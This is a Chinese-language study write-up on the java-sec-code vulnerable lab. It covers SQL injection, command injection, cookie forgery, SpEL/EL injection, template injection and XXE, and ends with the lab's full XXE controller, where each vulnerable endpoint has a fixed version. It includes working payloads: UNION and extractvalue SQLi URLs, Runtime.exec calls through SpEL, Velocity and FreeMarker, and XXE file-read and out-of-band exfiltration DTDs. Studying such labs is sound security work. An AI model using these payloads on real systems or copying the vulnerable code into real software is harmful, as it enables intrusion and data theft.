简单刷一刷java-sec-code,加强一下各种漏洞在java中的表现

sql注入

jdbc

jdbc其实就是java原生的用于sql查询的类。

攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username) {

StringBuilder result = new StringBuilder();

try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);

if (!con.isClosed())
System.out.println("Connect to database successfully.");

// sqli vuln code
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
logger.info(sql);
ResultSet rs = statement.executeQuery(sql);

while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();


} catch (ClassNotFoundException e) {
logger.error("Sorry,can`t find the Driver!");
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}

上面代码中很明显存在sql注入,其直接使用的是java的jdbc来进行sql查询,然后直接拼接

1
http://localhost:8080/sqli/jdbc/vuln?username=admin'+union+select+1,(select+database()),3--+

修复

修复其实就是使用预处理,java中的预处理就是?来当占位符,使用setString来设置内容。

1
2
3
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);

mybatis

mybatis是java的web开发中非常热门的sql查询工具了。其配置方式主要有xml和注解

xml

1
2
3
4
5
6
<!-- UserMapper.xml -->
<mapper namespace="com.example.mapper.UserMapper">
<select id="selectUserById" resultType="User">
SELECT * FROM user WHERE id = #{id}
</select>
</mapper>
1
2
3
// Java 代码
User user = sqlSession.selectOne("com.example.mapper.UserMapper.selectUserById", 1);

注解

1
2
3
4
public interface UserMapper {
@Select("SELECT * FROM user WHERE id = #{id}")
User selectUserById(int id);
}
1
2
3
4
// 通过 SqlSession 获取 Mapper 代理
UserMapper mapper = sqlSession.getMapper(UserMapper.class);
User user = mapper.selectUserById(1);

上面的user类其实就是一个属性为数据库的列名,具有setter,getter方法的类

mybatis中的占位符

mybatis中有#{}${}两种占用符#{}会对输入自动进行预渲染而${}是直接拼接,即当使用${}会产生sql注入

靶场

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@GetMapping("/mybatis/vuln01")
public List<User> mybatisVuln01(@RequestParam("username") String username) {
return userMapper.findByUserNameVuln01(username);
}

/**
* vul code
* http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23
*
* @param username username
*/
@GetMapping("/mybatis/vuln02")
public List<User> mybatisVuln02(@RequestParam("username") String username) {
return userMapper.findByUserNameVuln02(username);
}

// http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23
@GetMapping("/mybatis/orderby/vuln03")
public List<User> mybatisVuln03(@RequestParam("sort") String sort) {
return userMapper.findByUserNameVuln03(sort);
}


java-sec-code靶场的三个漏洞点全都是使用${}来进行占位

findByUserNameVuln02使用的占位参数为_parameter这是因为传入函数的参数并没有使用@Param来进行标记,而_parameter属于匿名参数即未标记时传入的参数被存到这个变量,当参数多个时其被赋值为map类

findByUserNameVuln03的if语句用于检测我们传入的order是否为空不为空就替换,造成sql注入

1
2
3
4
5
6
# vuln1
http://localhost:8080/sqli/mybatis/vuln01?username=admin'+union+select+1,2,(select database())--+
# vuln2
http://localhost:8080/sqli/mybatis/vuln02?username=admin'+union+select+1,2,(select database())--+
# vuln3
http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 or extractvalue(1,concat('~',(select database())))--+

vuln3需要order by注入
https://lisien11.xyz/2023/12/14/sqlilabs-less46-53/?highlight=order+by%E6%B3%A8%E5%85%A5

codeinject

我们可以看到其host可控,那么我们直接使用||或者&&来对命令进行注入

修复

可以看到其用一个类来对我们传入的参数进行了检测


其内容被限制死了,我们无法使用&&||

Cookies

这个漏洞其实就是对cookies的编写不大对导致可以被伪造,也就是加密的不好

1
2
3
4
5
6
7
8
9
10
@RequestMapping(value = "/vuln01")
public String vuln01(HttpServletRequest req) {
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
return "Cookie nick: " + nick;
}

public static String getCookieValueByName(HttpServletRequest request, String cookieName) {
Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName);
return cookie == null ? null : cookie.getValue();
}

vuln01其直接获取cookie中的nick
1,2,3,4,5,6都差不多

EL注入

EL注入即表达式注入,主要就是利用SPEL和jspEL,SPEL的主要功能其实是为了方便配置XML文件,但是如果其参数被错误的可控就会导致命令执行

spring

T()再SPEL中T()的作用是获取一个静态类,那么我们就可以利用T()来获取Runtime从而命令执行

1
2
3
4
5
6
7
8
 */
@RequestMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}

1
2
spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec("calc")
T(java.lang.Runtime).getRuntime.exec("calc")

jsp

${Runtime.getRuntime().exec("calc")}

SSTI

SSTI主要出现再两个模板velocity和FreeMarker

velocity

1
2
3
4
5
6
7
8
9
10
11
12
13
public void velocity(String template) {
Velocity.init();

VelocityContext context = new VelocityContext();

context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");

StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}

1
%23set ($exp = "exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

FreeMarker

1
2
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

XXE

XXE一般f分为两种回显及无回显

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>

<!DOCTPE ANY[

<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>

<name>&xxe;</name>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:80/evil2.dtd">
%dtd;
%send;
]>

//evil2.dtd
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
>
%payload;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
package org.joychou.controller;

import org.dom4j.DocumentHelper;
import org.dom4j.io.SAXReader;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;

import javax.servlet.http.HttpServletRequest;

import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.helpers.XMLReaderFactory;
import org.xml.sax.XMLReader;

import java.io.*;

import org.xml.sax.InputSource;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.parsers.SAXParser;

import org.xml.sax.helpers.DefaultHandler;
import org.apache.commons.digester3.Digester;
import org.jdom2.input.SAXBuilder;
import org.joychou.util.WebUtils;

/**
* Java xxe vuln and security code.
*
* @author JoyChou @2017-12-22
*/

@RestController
@RequestMapping("/xxe")
public class XXE {

private static Logger logger = LoggerFactory.getLogger(XXE.class);
private static String EXCEPT = "xxe except";

@RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST)
public String xmlReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}


@RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST)
public String xmlReaderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// fix code start
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//fix code end
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml

} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}

return "xmlReader xxe security code";
}


@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
public String SAXBuilderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

SAXBuilder builder = new SAXBuilder();
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body))); // cause xxe
return "SAXBuilder xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}

@RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
public String SAXBuilderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body)));

} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}

return "SAXBuilder xxe security code";
}

@RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
public String SAXReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

SAXReader reader = new SAXReader();
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body))); // cause xxe

} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}

return "SAXReader xxe vuln code";
}

@RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST)
public String SAXReaderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXReader xxe security code";
}

@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml

return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}


@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}


@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
public String DigesterVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

Digester digester = new Digester();
digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "Digester xxe vuln code";
}

@RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
public String DigesterSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

Digester digester = new Digester();
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
digester.parse(new StringReader(body)); // parse xml

return "Digester xxe security code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}


// 有回显
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml

// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}


// 有回显
@RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST)
public String DocumentBuilderVuln02(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml

// 遍历xml节点name和value
StringBuilder result = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
// 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
}
}
}
sr.close();
return result.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}


@RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
public String DocumentBuilderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
db.parse(is); // parse xml
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "DocumentBuilder xxe security code";
}


@RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST)
public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml

NodeList rootNodeList = document.getChildNodes();
response(rootNodeList);

sr.close();
return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}


@RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST)
public String DocumentBuilderXincludeSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml

NodeList rootNodeList = document.getChildNodes();
response(rootNodeList);

sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "DocumentBuilder xinclude xxe vuln code";
}


@PostMapping("/XMLReader/vuln")
public String XMLReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.parse(new InputSource(new StringReader(body)));

} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}

return "XMLReader xxe vuln code";
}


@PostMapping("/XMLReader/sec")
public String XMLReaderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);

SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
xmlReader.parse(new InputSource(new StringReader(body)));

} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "XMLReader xxe security code";
}


/**
* 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;
* 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。
*/
@PostMapping("/DocumentHelper/vuln")
public String DocumentHelper(HttpServletRequest req) {
try {
String body = WebUtils.getRequestBody(req);
DocumentHelper.parseText(body); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}

return "DocumentHelper xxe vuln code";
}


private static void response(NodeList rootNodeList){
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList xxe = rootNode.getChildNodes();
for (int j = 0; j < xxe.getLength(); j++) {
Node xxeNode = xxe.item(j);
// 测试不能blind xxe,所以强行加了一个回显
logger.info("xxeNode: " + xxeNode.getNodeValue());
}

}
}

public static void main(String[] args) {
}

}